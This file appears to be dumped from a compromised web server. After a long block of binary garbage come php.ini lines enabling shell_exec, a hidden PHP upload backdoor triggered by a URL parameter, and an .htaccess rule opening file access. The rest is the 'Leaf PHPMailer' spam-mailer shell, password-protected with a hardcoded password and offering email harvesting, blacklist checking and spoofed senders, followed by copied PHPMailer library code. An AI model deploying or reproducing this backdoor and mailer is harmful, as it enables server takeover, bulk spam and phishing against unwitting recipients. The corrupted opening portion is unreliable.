zC, NcQrVWj_@(ܗp+}WK9-mđ	^ atWj
fC+5QB~{XehG@tg.Ši*_dyvq5~
mQh,/OtzOVkẸ#'r),7{d-J~ӓA\
$qQw`0%/-vg&"E6;[?j0躙%L|@DL$rcqytopvns_E/p'هi.C[74icF풛B rcqytopvnsD	
PNuE+X*"UEk
diunmwldshc;w.;Q0lQW.Rf|!kGiunmwldshcz?4ױaݓp5z-'+U:@"Q'ls+-3?)WJb3Eq	IJ45%OeEziunmwldshc"YBMu^DbLPu2d:
3ʾsR&O+܄M/2̽bW١vqs@0X3I-
sy&K]|r~9IOĝⱒ.?;71,K{ 7aAbdwL4oi%}hv˃9zt8r7{?aSOI:uiunmwldshcZj	IMZEG;-iunmwldshc.22WP
787 suMF^]w)_Q&)*kH",Ǒ8Π4Ӈ\P}k mMZe}gL0MS /
(;6zjJ} y#':\GzO3=3[nSK tЈ^N Zd\
gFzcHb;S1 xRي=/ brcqytopvns:{{P8*ӑSbFM9=@K\3j \yxCJʶL1CblbP/3
?hDUft	ף)AوF7i[UCdV)rcqytopvnsEˢG?OcLdbBN-ր4$`{o!iunmwldshcQrcqytopvns+yD0I(׀\n sݖҬz/]jQ-B14U9AtBw'b-V-z`7*SSpr61TFS(zYߝE|cBq Z1yId K:A&7,-w~e4Pr|=GQ
__:譵9GT$rcqytopvnsDpT*LC\_
c)P9H8rcqytopvnsM.BGЭGYPx(j#L7ib*̟#$	
FxY:y^85)vˉrcqytopvns
̍= D.AD 7\?`&7̣:\jvKZ,G/1E"iunmwldshc=FN+
1-A|*c5pC;%
qh]8,;p~hrcqytopvnsI))uK&$ѭ{|cwLd׳Ӯ/?fK/Ԡiunmwldshc$2YBuH	uCCY\'qs~cЧiS0iunmwldshcԄwrcqytopvns @xW٤j9Ҏ·VAq4zýGaL'x1հlmf!t	W5
rcqytopvnsMuܳ0iunmwldshcF@A#) GKB +5K7l~)_yB6A:D;_PŉѤ1W
Ytq dX
``On}2Kz _َv
)yWiunmwldshc~r7n^ O#vq;h4X8Qu{;C #M^)@FL~gCӮS?s̯&cRIѷY$#7#
5:`D5SK!Ha76:(GE.
~1l  tyOb";E240BBAvEJJа[16rcqytopvnsk$U	H0˭6k^E2)w?IW[sSb/G'Nֺ{	@߱Pv{MFU;,{kIBV]UhDfVO#kp̓ޔLMqm"@]ǑDjiunmwldshcgp	vGxhS륂giPn潇nH%GۛgT	p!5 M
w(ӕ;ڀsMoP?]OԑVWIaq+1Ŕr:-soam&U}OO}a&rcqytopvnsp2+r ?"'s*й(+eo:yٓŬl#xe6QwNvWKc=[~HEGnIXᐞͱVSU.Sx?'7](t'*"H#4klQ-	t\%ˢa:ޞS%W$Zcl,V8IjEBx ѱ:coB~ Ԓ)X@Q8[\?uph)݊ogwNƩT^;UT6Q4}zk"ƿPKFB~lʇԗo7IR ^Q
uLǇnjt윍#ǭ([kJ++X(Lw1|/H?
g{=aqNPP|sl+8ݠ{* 5m*S|wzcR
Ѕrcqytopvns3'qylg327\ŔSnZ`Ǉq +():ן
"30׮E(J/$Lf1!/Ӏciq0GƔE'u ddp-"j?be^!tO|m:}/|8,rcnn[z}|-o٣YDq:{T6XAjBVʑiunmwldshc2eOź^x+31[MwO?(6qn6D(!7U|7HP^enJEXU0}A_|fũ}e՝Yp\؉JFcd1Ϛdo2D;K$_d
09C!l^,-j@:ҥro:E\f|֗rcqytopvnsƠ˗DIq(컶Q"(ïd9&FWP['H~Ó1]Pm-S4XT׳o+|o,A9_f#I}uJrcqytopvns2~'Grdv#oB7~_iunmwldshcŀ[P%H?at8fJBriw
F	#Lk/Cn`d YxY4ЉOL-rcqytopvnsJ?o+(ZY`: L$GVΈrcqytopvns2''{!MqzS8+?0PBf	Rxp6xjy[.)v9ڙkmqU] }]f ~5Ū]mhhiunmwldshcO~yz=PMt}xp¤^vT@㇍3Ziunmwldshc/UiP?[Uzim4뙯ӓޏ@!)ėB6AlK3+`DlH1tnN=T1ЦX.Lk,5*PnKKhQeqW#~+8p@߽inuv8[?!㺇Q:_z(&BV6miqZlEKVrcqytopvns~79c#|g{CE[HXF	ɪ1b9bt.uab4崒KBŒCB#gە&c!k(R?bN rnBlC8X CT\ؼsdmKWٍC\7}Ma~+GdvԪ;{a%j3~/07RRLe+\ljs^
*ճzB=:xè$	׷ݳ:qU
d;
ڼ}ue'W
=DLD.m'*O -{\%D!U[T(xQ|Xڌ+B/N-`u"{yd7Es*jiJ(gr|"ATob'iunmwldshcVD핈fEko]Ug)jI!Dx\z
TnBfwQHꌾJLeaSxDC$bVh}XDZ̏acĺjrZ~KݹХk~oho5
%XQC 47*ֵ`2j!f!Bt:US*E˻]-E`YS.㻔uC
e"FD֝o&ć҂ggiunmwldshcvޢakȽeKiɱʚ{cJuk|bQ.uĴ~rcqytopvnsRA_;Xf~QzЕr\6Ů(rIv ILg,Qē+̾Еp-w[*cO1~JIgTҴO麓ut_C/SjI0nߔaEb@S;}ʞ2(r$~JbPQElPyVl
`dija%aLo rbLo6KXQTPN/ZIPYiunmwldshc	$󝈷pYa]v|E@d~_"G@H7t/Xq,S6Jp=6C$5$!JuY9+A۶zULGXUël,{$:)'=kiunmwldshcjT|DLIY7NR˗|VrsӺqJεߔͥ
WWMZrcqytopvns6ȃ}WebzmWDgS2\c^|:bz^m@
E`5'2Ͻd了-:RDr3r!5YM(TW?N4 ,IGJ6ܺ&ˀYw8Ͼ`s(2Jb8V
5`1lrcqytopvnsύG?p--&޾e.z(ڸŅeRj6&)eӶ I$NǍCâxҟm*0?905`d5NS{XH2NаFrcqytopvns$fx5$%Bp1/5#wl,SNҼq;?żA'\rcqytopvns隊3Gvɛ76{:rcqytopvns*L6١M~QJR
x^MeîqhHyVQK,Ƿk]$vRa1mKekgvsDaQb-6{iunmwldshcԇFԕw^zo:ã~@iunmwldshc3ݐEHuqzZ-P	7vwzrX0UD3~5p% P(r~mZ@=*;0IE:6ٌ,w~rcqytopvnsQ/Z{x r"(ّ5Z9zRU3#5_$4"%PFP\~s4+^Om9
&V#F@?%SO'(m9l/80tl"CAS(]͏]zu&9
Dy8ͯ+
*+S9L8ۧog=z]GJ
CT eH bCM)UPnLHi'u	}#XutƒwIEZ&aŃel 
#b	jqO@)iunmwldshcϯҭ
;3UnC&hDGE,I~F3B]B#I8ԟ٬iunmwldshcL$?dV\SrC
ɗ
iunmwldshc+b'	07*T@]N_#Y?wFѨFk+b6JpLUχOSK1	+?lۖ"SN.!!ʌ~%Kiunmwldshcʓ#!1qS  !5t~
$p:N6T߿n@(*:c'Jou&xb^FFyY7貨u@jଫ
$yg#z{@Qo @}v6: Ovg/l}rcqytopvnsʇסEMhPhKj([.]9|scqUB!*[8#9ᆷ+߃k^m@Iknj2LjN|uN%c
`V)OY"%8Fx(G('tzT~Bg~95A?_Y&safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "8THGOmUv295";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

